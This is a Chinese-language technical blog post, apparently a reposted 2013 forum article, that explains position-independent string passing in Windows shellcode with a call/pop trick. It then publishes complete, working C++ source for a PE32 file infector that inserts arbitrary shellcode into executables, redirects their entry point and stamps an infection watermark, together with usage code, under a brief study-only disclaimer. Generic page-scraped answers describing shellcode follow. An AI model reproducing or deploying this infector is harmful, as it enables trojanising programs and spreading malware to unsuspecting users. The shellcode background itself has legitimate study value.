PE感染&ShellCode编写技术补充

标 题: PE感染&ShellCode编写技术补充
时 间: 2013-06-04,22:45:53

  
上篇文章写了Windows Shell Code编写的一些技术和经验,其中讲到ShellCode中使用的数据的问题时,提供了三种方法:
1. HardCode地址,然后把数据写入HardCode的地址中
2. 转化法(HASH),把数据转化成可用寄存器存储的整数
3. 把数据Push到栈中
 
这三种方法都有各自的缺点和局限性,所以本文补充一种更方便的数据处理方法: 代码和数据混合法(这里所说的数据通指字符串指针参数)
 
首先分析一下在普通的程序中字符串指针的传参本质(高手可以略过了), 
如下C语言代码:
Code:
 
int _tmain(int argc, TCHAR *argv[])
{
    char szStr[] = {"Shell Code."};
 
    printf(szStr);
 
    return 0;
}
动态执行过程中,看一下参数的传递方式,以及最终push到堆栈中参数位置内的值如下:
Click image for larger versionName:	image001.pngViews:	23Size:	312 KBID:	79599 
 
图中可知,压入的参数eax的值为一个内存地址,而这个地址就是字符串的首地址,本例中是使用了栈中的字符串数据,其他情况如全局变量,或者堆中分配等方式最终结果也都是如此,压入字符串的首地址。
 
在C语言中因为有编译器的帮助,最终可以很轻松的定位一个字符串的地址,那我们是不是想到了在shell Code中使用db数据定义伪指令来定义字符串,然后压栈数据标签的方式传递字符串参数,
这也就是数据和代码混合的方式来进行参数传递,但是并不是像想象的这么简单,来个测试:
在纯Asm代码中可以如下写:
Code:
 
    jmp run_code
szStr:
    db 'Shell Code',0
run_code:
    push szStr
    call printf
 
但是在VC的内联汇编中不能使用db伪指令,所以要如下写:
Code:
 
int _tmain(int argc, TCHAR *argv[])
{
    __asm
    {
        jmp run_code
szStr:
        _emit 'S'
        _emit 'h'
        _emit 'l'
        _emit 'l'
        _emit ' '
        _emit 'C'
        _emit 'o'
        _emit 'd'
        _emit 'e'
        _emit '.'
        _emit 0
 
run_code:
        push szStr
        call printf
    }
 
    return 0;
}
下面看一下调试运行时:
 
Click image for larger versionName:	image003.pngViews:	17Size:	276 KBID:	79600
 
可以看到这次代码就汇编成了直接把字符串的首地址作为push指令的操作数压栈了,这样这个C程序也是能正确运行的。当在次运行这个程序的时候,可以发现push指令的操作数的高两个自己会发生改变,
至于如何改变,有兴趣的可以去分析,这里了是利用了编译器为程序生成的重定位信息来进行动态改变这个操作数的高两个字节的值的,并且改变的值就是当前代码段被加载到的虚拟地址的基址。
 
如果直接把这段二进制代码提取出来,当作Shell Code,那么它能在一个Shell Code环境中正确运行么?
缺少重定位信息,毫无疑问这个地址肯定是找不到正确的数据位置的。
 
上述内容主要就是揭示一点问题: 汇编中的标号地址都是相对的,所以不能用在Shell Code中来对数据进行定位
 
到这里,离解决问题又更近了一步,现在的问题是:如何把运行时的一个绝对线性地址压入堆栈,更具体一点,如何把一个代码段中的地址(实际上内容是数据)压入堆栈?
 
很明了了,Call指令具有这一功能,因为每次Call一个函数的时候其内部操作都会把紧跟call指令的下一条指令的绝对地址压入堆栈!
听起来很有违常理,但是 写Shell Code的时候确实需要灵活的运用每一条指令,比如可以用ret指令来代替jmp指令,再比如这里使用call指令来代替push指令
下面就来实现一下这种代码数据混合传参的方式:
先看C内联的写法:
Code:
 
int _tmain(int argc, TCHAR *argv[])
{
    __asm
    {
        call run_code
szStr:
        _emit 'S'
        _emit 'h'
        _emit 'e'
        _emit 'l'
        _emit 'l'
        _emit ' '
        _emit 'C'
        _emit 'o'
        _emit 'd'
        _emit 'e'
        _emit '.'
        _emit 0
 
run_code:
        call printf
    }
 
    return 0;
}
 
再看纯asm的写法:
Code:
 
    call run_code
szStr:
    db 'Shell Code',0
run_code:
    ;push szStr   感谢 38楼alvasli同学指出这里的手误。 
    call printf
 
运行时的情形如下,当执行到call指令的时候可以看见szStr的地址已经被压入栈了。
Click image for larger versionName:	image005.pngViews:	10Size:	293 KBID:	79601
 
 
给出一个MessageBox函数的调用传参方法
Code:
 
            call _push_text
            db "Back Door Opend!", 0
        _push_text:
            pop edi
            call _push_caption
            db 'HA...', 0
        _push_caption:
            pop esi
 
            push 00000040h
            push esi
            push edi
            push 0
            call eax ;MessageBoxA
如上代码就可以轻松实现字符串数据的存储和传参,不依赖任何绝对地址。
但是,这样写的话会使源码中出现大量的标号,很不方便,不过幸运的是纯ASM提供了匿名标号的,上述可以改写成更加简洁的写法
 
Code:
 
            call @f
            db "Back Door Opend!", 0
        @@:
            pop edi
            call @f
            db 'HA...', 0
        @@:
            pop esi
 
            push 00000040h
            push esi
            push edi
            push 0
            call eax ;MessageBoxA
 
这样就可以省去很多去写不同标号的力气了,不幸的是匿名标号在内联汇编中是不被支持的,所以写Shell Code,还是选择纯汇编环境吧。
 
总结这种传参的方式:
Code:
 
        call @f
            db "Your string data here", 0
        @@:
 
最后送上一个32位PE感染的代码,论坛里类似功能代码不少,不过几乎没有做到可以直接使用的,很多都是给了个感染程序的代码,逻辑和UI混杂很是蛋疼,
所以就封装了一个C++类,采用singleton模式,对外提供一个接口,觉得没技术含量的可以评价下代码风格吧。
Code:
 
    // Method: Infect
    // FullName: CPE32Infector::Infect
    // Access: public 
    // Returns: BOOL
    // Qualifier:
    // Parameter: LPCTSTR lpFileName        目标文件路径
    // Parameter: LPVOID lpShellCode        Shell Code Buffer
    // Parameter: DWORD nLength                Shell Code 长度
    // Parameter: InfectMethod method        可选参数:感染方式
    //************************************
Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength, InfectMethod method)
 
感染方式有两种,一种是新建section,一种是选择可用空间最大的Section把ShllCode插入
多Section间隙感染方式要么对ShellCode有要求,要么需要分析Shell Code的字节码,所以就没有提供这种方式。
如果不指定感染方式,则先尝试插入Section可用空间,如果失败则再尝试新建Section
 
使用非常方便:
Code:
 
#include "PE32Infector.h"
int _tmain(int argc, _TCHAR* argv[])
{
    CPE32Infector * pInfector = CPE32Infector::GetInstance();
 
    pInfector->Infect(_T("F:\\xxxx.exe"), hexData, 348);
 
    return 0;
}
 
免责声明:仅供交流学习,请勿滥用,使用本代码带来的任何后果与本人无关。。。。。。。
 
Code:
 
/********************************************************************
    created:    2013/05/25
    created:    25:5:2013 10:04
    filename:     PEInfector.h
    file base:    PEInfector
    file ext:    h
    author:        tishion
 
purpose:    
    Definition of PE32infector 
    while this class working for infecting, it 
    1.read the original PE files
    2.check the watermark
    3.make sure the size is sufficient
    4.get information for infecting
    5.do infecting
 
免责声明:
    该源代码所实现的功能有一定的破坏性,仅供学习交流之用
    请勿将该源代码用于开发病毒木马等恶意程序
    请勿二次传播此源代码
    使用该源代码造成的任何破坏和损失,与本人无关
*********************************************************************/
#pragma once
 
#define WARTER_MARK_STRING_LENGTH 128
 
class CPE32Infector
{
public:
    // 感染方式新建Section 或者插入Section间隙
    enum InfectMethod
    {
        INFECT_METHORD_CREATENEWSECTION,
        INFECT_METHORD_ADDTOSECTIONGAPS
    };
 
    // 错误码
    enum ErrorCode
    {
        INFECT_EC_OK,
        INFECT_EC_FAILED_OPENFILE,
        INFECT_EC_FAILED_CREATEFILEMAPPING,
        INFECT_EC_FAILED_MAPVIEWOFFILE,
        INFECT_EC_FAILED_FLUSHFILE,
        INFECT_EC_FAILED_ENLARGEFILE,
        INFECT_EC_FAILED_WRITESHELLCODE, 
        INFECT_EC_FAILED_UNKNOWNMETHOD, 
        INFECT_EC_FAILED_INSUFFICIENTSPACE,
        INFECT_EC_INVALID_FILEMAPPINGBUFFER,
        INFECT_EC_INVALID_PE_FORMAT,
        INFECT_EC_INFECTED_ALREADY,
        INFECT_EC_INVALID_SHELLCODE,
    };
 
    // 外部暴露接口
 
    // 获取实例
    static CPE32Infector * GetInstance();
 
    // 使用lpShellCode指向的ShellCode感染lpFileName指向的目标文件,自动选择感染方式
    BOOL Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength);
 
    // 按照指定的感染方式使用lpShellCode指向的ShellCode感染lpFileName指向的目标文件
    BOOL Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength, InfectMethod method);
 
    // 获取错误代码
    DWORD GetLastErrorcode();
 
    // 获取错误信息描述
    LPCTSTR GetLastErrorMessage();
 
protected:
    // 构造函数
    CPE32Infector(void);
    ~CPE32Infector(void);
 
    // 保存PE中可用空间信息的结构
    class AvilableSpace
    {
    public:
        DWORD dwBase;
        DWORD dwSize;
    };
 
private:
    static char*                    m_pWaterMark;
 
    static HANDLE                    m_hFile;
    static HANDLE                    m_hFileMapping;
    static LPVOID                    m_lpFileMappingBuffer;
 
    static PIMAGE_DOS_HEADER        m_pImageDosHeader;
    static PIMAGE_NT_HEADERS32        m_pImageNtHeader;
    static PIMAGE_SECTION_HEADER    m_pImageSectionHeader;
 
    static DWORD                    m_dwErrorCode;
 
    static AvilableSpace            m_SectionHeaderAvilable;
    static vector<AvilableSpace>    m_vecSectionAvilable;
    static DWORD                    m_dwMaxAvilableIndex;
 
    // 内部方法
protected:
    void _InternalCleanAndReset();
    BOOL _OpenAndMapFile(LPCTSTR lpFileName);
    BOOL _ValidatePEFormat();
    BOOL _CheckWaterMark();
 
    void _GetInformationForInfecting();
 
    BOOL InfectByAddingToSectionGaps(LPVOID lpShellCode, DWORD nLength);
    BOOL InfectByCreatingNewSection(LPVOID lpShellCode, DWORD nLength);
 
    void _InternalSetLastErrorCode(ErrorCode ec);
};
 
 
 
Code:
 
/********************************************************************
    created:    2013/05/25
    created:    25:5:2013 10:08
    filename:     PEInfector.cpp
    file base:    PEInfector
    file ext:    cpp
    author:        tishion
 
purpose:
    Implementation of PEInfector
 
免责声明:
    该源代码所实现的功能有一定的破坏性,仅供学习交流之用
    请勿将该源代码用于开发病毒木马等恶意程序
    请勿二次传播此源代码
    使用该源代码造成的任何破坏和损失,与本人无关
*********************************************************************/
#include "StdAfx.h"
#include <Windows.h>
#include "PE32Infector.h"
 
#define RELEASE_HANDLE(h) do \
{ \
    if (NULL != h && INVALID_HANDLE_VALUE != h) \
    { \
        CloseHandle(h); \
        h = NULL; \
    } \
} while (0)                                 //;    感谢21楼ybhdgggset帮忙之处这里的错误,最好不要加分号 
 
char*    
CPE32Infector::m_pWaterMark = "iNfected by T$.";        // 包括最后的null结束符不能超过个字节
 
HANDLE    
CPE32Infector::m_hFile = NULL;
 
HANDLE    
CPE32Infector::m_hFileMapping = NULL;
 
LPVOID    
CPE32Infector::m_lpFileMappingBuffer = NULL;
 
PIMAGE_DOS_HEADER
CPE32Infector::m_pImageDosHeader = NULL;
 
PIMAGE_NT_HEADERS32
CPE32Infector::m_pImageNtHeader = NULL;
 
PIMAGE_SECTION_HEADER
CPE32Infector::m_pImageSectionHeader = NULL;
 
DWORD
CPE32Infector::m_dwErrorCode = CPE32Infector::INFECT_EC_OK;
 
DWORD
CPE32Infector::m_dwMaxAvilableIndex = 0;
 
CPE32Infector::AvilableSpace 
CPE32Infector::m_SectionHeaderAvilable;
 
vector<CPE32Infector::AvilableSpace> 
CPE32Infector::m_vecSectionAvilable;
 
 
CPE32Infector::CPE32Infector(void)
{
}
 
CPE32Infector::~CPE32Infector(void)
{
    _InternalCleanAndReset();
}
 
CPE32Infector * CPE32Infector::GetInstance()
{
    static CPE32Infector instance;
    return &instance;
}
 
BOOL CPE32Infector::Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
    _InternalCleanAndReset();
 
    BOOL bRet = FALSE;
 
    // shell code 不足个字节,无法写入jmp到oep的指令,视为不合法的shellcode
    if (NULL == lpShellCode || nLength < 5)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_SHELLCODE);
        return bRet;
    }
 
    // 打开文件并映射 && PE校验 && 检查感染水印
    if (_OpenAndMapFile(lpFileName) && _ValidatePEFormat() && _CheckWaterMark())
    {
        // 获取PE基本信息
        _GetInformationForInfecting();
 
        if (m_vecSectionAvilable[m_dwMaxAvilableIndex].dwSize >= nLength)
        {// 尝试使用插入Section间隙的方法
            bRet = InfectByAddingToSectionGaps(lpShellCode, nLength);
        }
        else
        if (m_SectionHeaderAvilable.dwSize >= sizeof(IMAGE_SECTION_HEADER))
        {// 尝试使用新建Section的方法
            bRet = InfectByCreatingNewSection(lpShellCode, nLength);
        }
        else
        {
            // 以上方法均无足够空间
            _InternalSetLastErrorCode(INFECT_EC_FAILED_INSUFFICIENTSPACE);
            bRet = FALSE;
        }
    }
 
    _InternalCleanAndReset();
    return bRet;
}
 
BOOL CPE32Infector::Infect(LPCTSTR lpFileName, LPVOID lpShellCode, DWORD nLength, InfectMethod method)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
    _InternalCleanAndReset();
 
    BOOL bRet = FALSE;
 
    // shell code 不足个字节,无法写入jmp到oep的指令,视为不合法的shellcode
    if (NULL == lpShellCode || nLength < 5)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_SHELLCODE);
        return bRet;
    }
 
    // 打开文件并映射 && PE校验 && 检查感染水印
    if (_OpenAndMapFile(lpFileName) && _ValidatePEFormat() && _CheckWaterMark())
    {
        // 获取PE基本信息
        _GetInformationForInfecting();
 
        if (INFECT_METHORD_ADDTOSECTIONGAPS == method)
        {
            if (m_vecSectionAvilable[m_dwMaxAvilableIndex].dwSize >= nLength)
            {
                bRet = InfectByAddingToSectionGaps(lpShellCode, nLength);
            }
            else
            {
                _InternalSetLastErrorCode(INFECT_EC_FAILED_INSUFFICIENTSPACE);
                bRet = FALSE;
            }
        }
        else
        if (INFECT_METHORD_CREATENEWSECTION == method)
        {
            if (m_SectionHeaderAvilable.dwSize >= sizeof(IMAGE_SECTION_HEADER))
            {
                bRet = InfectByCreatingNewSection(lpShellCode, nLength);
            }
            else
            {
                _InternalSetLastErrorCode(INFECT_EC_FAILED_INSUFFICIENTSPACE);
                bRet = FALSE;
            }
        }
        else
        {
            _InternalSetLastErrorCode(INFECT_EC_FAILED_UNKNOWNMETHOD);
            bRet = FALSE;
        }
    }
 
    _InternalCleanAndReset();
    return bRet;
}
 
void CPE32Infector::_InternalCleanAndReset()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    if (m_lpFileMappingBuffer)
    {
        ::UnmapViewOfFile(m_lpFileMappingBuffer);
        m_lpFileMappingBuffer = NULL;
    }
 
    RELEASE_HANDLE(m_hFileMapping);
    RELEASE_HANDLE(m_hFile);
    m_pImageDosHeader                = NULL;
    m_pImageNtHeader                = NULL;
    m_pImageSectionHeader            = NULL;
    m_SectionHeaderAvilable.dwBase    = 0;
    m_SectionHeaderAvilable.dwSize    = 0;
    m_dwMaxAvilableIndex            = 0;
    m_vecSectionAvilable.clear();
 
    return;
}
 
BOOL CPE32Infector::_OpenAndMapFile(LPCTSTR lpFileName)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    // 打开目标文件
    m_hFile = ::CreateFile(
        lpFileName, 
        FILE_ALL_ACCESS, 
        FILE_SHARE_READ | FILE_SHARE_WRITE, 
        NULL, 
        OPEN_EXISTING, 
        FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_SYSTEM, 
        NULL);
 
    if (INVALID_HANDLE_VALUE == m_hFile)
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_OPENFILE);
        return FALSE;
    }
 
    // 创建内存文件映射
    m_hFileMapping = ::CreateFileMapping(
        m_hFile, 
        NULL, 
        PAGE_READWRITE, 
        0, 0, 
        NULL);
 
    if (NULL == m_hFileMapping)
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_CREATEFILEMAPPING);
        RELEASE_HANDLE(m_hFile);
        return FALSE;
    }
 
    // 映射整个文件到内存
    m_lpFileMappingBuffer = ::MapViewOfFile(
        m_hFileMapping, 
        FILE_MAP_ALL_ACCESS, 
        0, 0, 0);
 
    if (NULL == m_lpFileMappingBuffer)
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_MAPVIEWOFFILE);
        RELEASE_HANDLE(m_hFileMapping);
        RELEASE_HANDLE(m_hFile);
        return FALSE;
    }
 
    return TRUE;
}
 
#define OPTIONAL_HEADER_SIZE32 0xE0
BOOL CPE32Infector::_ValidatePEFormat()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    DWORD dwE_lfanew = 0;
    DWORD dwNtHeader = 0;
    DWORD dwFileSize = 0;
 
    if (NULL == m_lpFileMappingBuffer)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_FILEMAPPINGBUFFER);
        return FALSE;
    }
 
    // 检查文件大小
    dwFileSize = GetFileSize(m_hFile, NULL);
    if (INVALID_FILE_SIZE == dwFileSize || 
        dwFileSize < (sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS32)))
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_FILEMAPPINGBUFFER);
        return FALSE;
    }
 
    // 对比MZ签名
    m_pImageDosHeader = (PIMAGE_DOS_HEADER)(m_lpFileMappingBuffer);
    if (IMAGE_DOS_SIGNATURE != m_pImageDosHeader->e_magic)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_PE_FORMAT);
        return FALSE;
    }
 
    // 对比PE签名
    dwE_lfanew = m_pImageDosHeader->e_lfanew;
    dwNtHeader = (DWORD)(m_lpFileMappingBuffer) + dwE_lfanew;
    m_pImageNtHeader = (PIMAGE_NT_HEADERS)(LPVOID)(dwNtHeader);
    if (IMAGE_NT_SIGNATURE != m_pImageNtHeader->Signature)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_PE_FORMAT);
        return FALSE;
    }
 
    // 对比SizeOfOptionalHeader
    if (m_pImageNtHeader->FileHeader.SizeOfOptionalHeader != OPTIONAL_HEADER_SIZE32)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_PE_FORMAT);
        return FALSE;
    }
 
    m_pImageSectionHeader = IMAGE_FIRST_SECTION(m_pImageNtHeader);
 
    return TRUE;
}
 
BOOL CPE32Infector::_CheckWaterMark()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    if (NULL == m_pImageDosHeader)
    {
        _InternalSetLastErrorCode(INFECT_EC_INVALID_FILEMAPPINGBUFFER);
        return FALSE;
    }
 
    LPVOID pFileSig = (LPVOID)(m_pImageDosHeader->e_res2);
 
    if (0 == memcmp(pFileSig, m_pWaterMark, strlen(m_pWaterMark)+1))
    {
        _InternalSetLastErrorCode(INFECT_EC_INFECTED_ALREADY);
        return FALSE;
    }
 
    return TRUE;;
}
 
void CPE32Infector::_GetInformationForInfecting()
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    // 计算节表中的可用空间
    DWORD dwAllSectionHeaderSize 
        = m_pImageNtHeader->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER);
 
    m_SectionHeaderAvilable.dwSize = m_pImageNtHeader->OptionalHeader.SizeOfHeaders 
        - ((DWORD)m_pImageSectionHeader - (DWORD)m_pImageDosHeader) - dwAllSectionHeaderSize;
 
    m_SectionHeaderAvilable.dwBase = (DWORD)m_pImageSectionHeader + dwAllSectionHeaderSize;
 
    // 计算每一个节中的可用空间
    m_dwMaxAvilableIndex = 0;
    for (int i=0; i<m_pImageNtHeader->FileHeader.NumberOfSections; i++)
    {
        AvilableSpace as;
        if (m_pImageSectionHeader[i].SizeOfRawData > m_pImageSectionHeader[i].Misc.VirtualSize)
        {
            as.dwSize = m_pImageSectionHeader[i].SizeOfRawData - m_pImageSectionHeader[i].Misc.VirtualSize;
        }
        else
        {
            as.dwSize = 0;
        }
 
        as.dwBase = (DWORD)m_pImageDosHeader + m_pImageSectionHeader[i].PointerToRawData 
            + m_pImageSectionHeader[i].Misc.VirtualSize;
 
        m_vecSectionAvilable.push_back(as);
 
        if (m_vecSectionAvilable[i].dwSize > m_vecSectionAvilable[m_dwMaxAvilableIndex].dwSize)
        {
            m_dwMaxAvilableIndex = i;
        }
    }
 
    return ;
}
 
BOOL CPE32Infector::InfectByAddingToSectionGaps(LPVOID lpShellCode, DWORD nLength)
{
    _InternalSetLastErrorCode(INFECT_EC_OK);
 
    RtlCopyMemory((PVOID)m_vecSectionAvilable[m_dwMaxAvilableIndex].dwBase, lpShellCode, nLength);
 
    // 修改该段属性
    DWORD dwNewCharacteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
    m_pImageSectionHeader[m_dwMaxAvilableIndex].Characteristics |= dwNewCharacteristics;
 
    // 修改EP
    DWORD dwOriginalEntryPoint = m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint;
    DWORD dwNewEntryPoint = m_pImageSectionHeader[m_dwMaxAvilableIndex].VirtualAddress 
        + m_pImageSectionHeader[m_dwMaxAvilableIndex].Misc.VirtualSize;
    m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint;
 
    // 修改该段的VirtualSize
    m_pImageSectionHeader[m_dwMaxAvilableIndex].Misc.VirtualSize += nLength;
 
    // 计算原始OEP和ShellCode中的jmp指令的系一条指令的虚拟地址相对偏移量
    DWORD dwVirtualAddressOfJmp = m_pImageSectionHeader[m_dwMaxAvilableIndex].VirtualAddress 
        + m_pImageSectionHeader[m_dwMaxAvilableIndex].Misc.VirtualSize;
    DWORD dwJmpOprand = dwOriginalEntryPoint - dwVirtualAddressOfJmp;
 
    // 把jmp OEP 写入ShellCode结尾
    DWORD * pJmpOprand = (DWORD*)(m_vecSectionAvilable[m_dwMaxAvilableIndex].dwBase + nLength - 4);
    *pJmpOprand = dwJmpOprand;
 
    // 写入感染水印
    RtlCopyMemory((LPVOID)(m_pImageDosHeader->e_res2), m_pWaterMark, strlen(m_pWaterMark)+1);
 
    if (FALSE == ::FlushViewOfFile(m_lpFileMappingBuffer, 0))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_FLUSHFILE);
        return FALSE;
    }
 
    return TRUE;
}
 
BOOL CPE32Infector::InfectByCreatingNewSection(LPVOID lpShellCode, DWORD nLength)
{
    DWORD dwFileAlignment = m_pImageNtHeader->OptionalHeader.FileAlignment;
    DWORD dwSectionAlignment = m_pImageNtHeader->OptionalHeader.SectionAlignment;
 
    PIMAGE_SECTION_HEADER pLastSectionHeader = &(m_pImageSectionHeader[m_pImageNtHeader->FileHeader.NumberOfSections - 1]);
    PIMAGE_SECTION_HEADER pNewSectionHeader = &(m_pImageSectionHeader[m_pImageNtHeader->FileHeader.NumberOfSections]);
    ::ZeroMemory(pNewSectionHeader, sizeof(IMAGE_SECTION_HEADER));
 
    //DWORD dwNewVirtualAddress = pLastSectionHeader->VirtualAddress 
    //    + (((pLastSectionHeader->Misc.VirtualSize - 1) / dwSectionAlignment) + 1) * dwSectionAlignment;
    // 或者
    DWORD dwNewVirtualAddress = m_pImageNtHeader->OptionalHeader.SizeOfImage;
 
    DWORD dwOriginalEntryPoint = m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint;
    DWORD dwNewEntryPoint = dwNewVirtualAddress;
    DWORD dwSizeOfRawData = (((nLength - 1) / dwFileAlignment) + 1) * dwFileAlignment;
 
    char * pNewSectionName = ".tssc";
    strncpy_s((char *)(pNewSectionHeader->Name), ARRAYSIZE(pNewSectionHeader->Name), pNewSectionName, strlen(pNewSectionName));
 
    pNewSectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pNewSectionHeader->Misc.VirtualSize = nLength;
    pNewSectionHeader->VirtualAddress = dwNewVirtualAddress;
 
    pNewSectionHeader->PointerToRawData = pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData;
    pNewSectionHeader->SizeOfRawData = dwSizeOfRawData;
 
 
    // 修改IMAGE_NT_HEADER相关字段
    m_pImageNtHeader->FileHeader.NumberOfSections += 1;
    m_pImageNtHeader->OptionalHeader.SizeOfCode += pNewSectionHeader->SizeOfRawData;
    m_pImageNtHeader->OptionalHeader.SizeOfImage += (((pNewSectionHeader->Misc.VirtualSize - 1) / dwSectionAlignment) + 1) * dwSectionAlignment;
    m_pImageNtHeader->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint;
 
    if (FALSE == ::FlushViewOfFile(m_lpFileMappingBuffer, 0))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_FLUSHFILE);
        return FALSE;
    }
 
    // 计算原始OEP和ShellCode中的jmp指令的系一条指令的虚拟地址相对偏移量
    DWORD dwVirtualAddressOfJmp = dwNewVirtualAddress + nLength;
    DWORD dwJmpOprand = dwOriginalEntryPoint - dwVirtualAddressOfJmp;
 
    // 写入感染水印
    RtlCopyMemory((LPVOID)(m_pImageDosHeader->e_res2), m_pWaterMark, strlen(m_pWaterMark)+1);
 
    ::UnmapViewOfFile(m_lpFileMappingBuffer);
    m_lpFileMappingBuffer = NULL;
    RELEASE_HANDLE(m_hFileMapping);
 
    // 扩大文件
    if (INVALID_SET_FILE_POINTER == ::SetFilePointer(m_hFile, dwSizeOfRawData, NULL, FILE_END) || 
        FALSE == ::SetEndOfFile(m_hFile) ||
        INVALID_SET_FILE_POINTER == ::SetFilePointer(m_hFile, 0-dwSizeOfRawData, NULL, FILE_END))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_ENLARGEFILE);
        return FALSE;
    }
 
    // 写入ShellCode
    DWORD dwBytesWritten;
    if (FALSE == ::WriteFile(m_hFile, lpShellCode, nLength, &dwBytesWritten, NULL) ||
        INVALID_SET_FILE_POINTER == ::SetFilePointer(m_hFile, -4, NULL, FILE_CURRENT) ||
        FALSE == ::WriteFile(m_hFile, &dwJmpOprand, sizeof(DWORD), &dwBytesWritten, NULL))
    {
        _InternalSetLastErrorCode(INFECT_EC_FAILED_WRITESHELLCODE);
        return FALSE;
    }
 
    return TRUE;
}
 
//
// 错误码辅助函数
void CPE32Infector::_InternalSetLastErrorCode(ErrorCode ec)
{
    m_dwErrorCode = ec;
    return ;
}
 
DWORD CPE32Infector::GetLastErrorcode()
{
    return m_dwErrorCode;
}
 
LPCTSTR CPE32Infector::GetLastErrorMessage()
{
    // 暂时未实现
 
    return NULL;
}

         
  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Shellcode是一种在操作系统内核中执行的二进制代码。它通常用于漏洞利用和恶意软件中。编写shellcode需要了解汇编语言和操作系统内部工作原理。步骤包括确定目标系统平台、编写汇编代码、使用汇编器将代码转换为机器码并去除不必要的部分。最后,通过十六进制编辑器将机器码转换为可执行的shellcode。 ### 回答2: Shellcode是计算机安全领域中的一个术语,指的是一段精心编写的机器码,用于向远程服务器发送攻击代码。Shellcode由语言所写的基本单元构成,可以看作是一些机器指令的序列,这些指令可以被攻击者从攻击文件中提取并加载到内存中来执行。 在编写Shellcode时,攻击者需要考虑以下几个因素: 1. 选择合适的语言:通常情况下,攻击者使用较低级别的语言编写Shellcode,比如汇编、C语言等,具有较高的攻击性和灵活性。高级语言可被编译成较低级别的机器码,但由于其过于复杂,会使攻击者的目标变得更加难以实现。 2. 确定攻击目标:在编写Shellcode时,攻击者需要明确自己的目标是什么,因为Shellcode的内容和指定的操作系统有关。如果攻击者要攻击Linux操作系统,则需要编写适用于Linux的Shellcode。 3. 了解系统调用:Shellcode本质上是攻击代码,需要与操作系统进行交互才能实现攻击功能。攻击者需要深入了解目标操作系统的系统调用,以便编写能够集成到Shellcode中的函数。 4. 隐藏自己的Shellcode:攻击者的Shellcode需要能够在执行攻击时隐藏自己的存在,防止被服务器的安全防御发现并阻止其执行。因此,编写Shellcode的过程中,添加一些默默执行的优化代码通常会使Shellcode更难被检测出来。 综上所述,Shellcode编写需要仔细考虑许多细节和攻击原理,是一个非常复杂和挑战性的工作。需要具有深入的技术知识、大量的实操经验和强烈的创造力来成功实现。因此,对于那些想要保护自己计算机系统的安全和隐私的用户来说,应该注意提高自己的网络安全意识,以免成为黑客攻击的目标。 ### 回答3: Shellcode是一种机器可执行代码,通常用于利用软件或系统漏洞,实现攻击者的目的。它们是用汇编语言编写的小段程序,目的是在攻击者控制的环境中提供一个命令行接口。Shellcode是计算机安全方面的一个重要组成部分,它们用来攻击网络或操作系统,并实现攻击者的目标,比如窃取敏感信息、获得系统管理员权限等。 Shellcode编写过程需要以下步骤: 1. 选择正确的汇编代码和指令:攻击者需要使用特定的汇编代码和指令,以便在目标系统上实现其目的。这些代码和指令通常是最简单的和最小的,以便在运行时不引起注意,并且可以在目标系统上尽可能快地执行。 2. 手写代码或使用自动化工具:在编写Shellcode时,可以手动编写代码,也可以利用自动化工具(如Metasploit)来生成代码。无论哪种方法都需要足够的经验和技术。 3. 调试和测试:成功编写shellcode需要进行检查,确保其在目标环境中能够准确执行所需的操作。一些测试工具和脚本可以用于对Shellcode进行测试,以保证其正确性和稳定性。 4. 压缩和编码:为了使Shellcode足够小,可以使用压缩和编码技术来减小代码体积。这有助于减小Shellcode在内存中的占用空间,并增加攻击成功的几率。 总的来说,Shellcode编写需要具备丰富的汇编语言编程知识和安全实践经验,同时需要掌握各种测试和修复技术。攻击者使用Shellcode来实施危害,所以安全团队需要相应地采取措施,防范和识别Shellcode攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值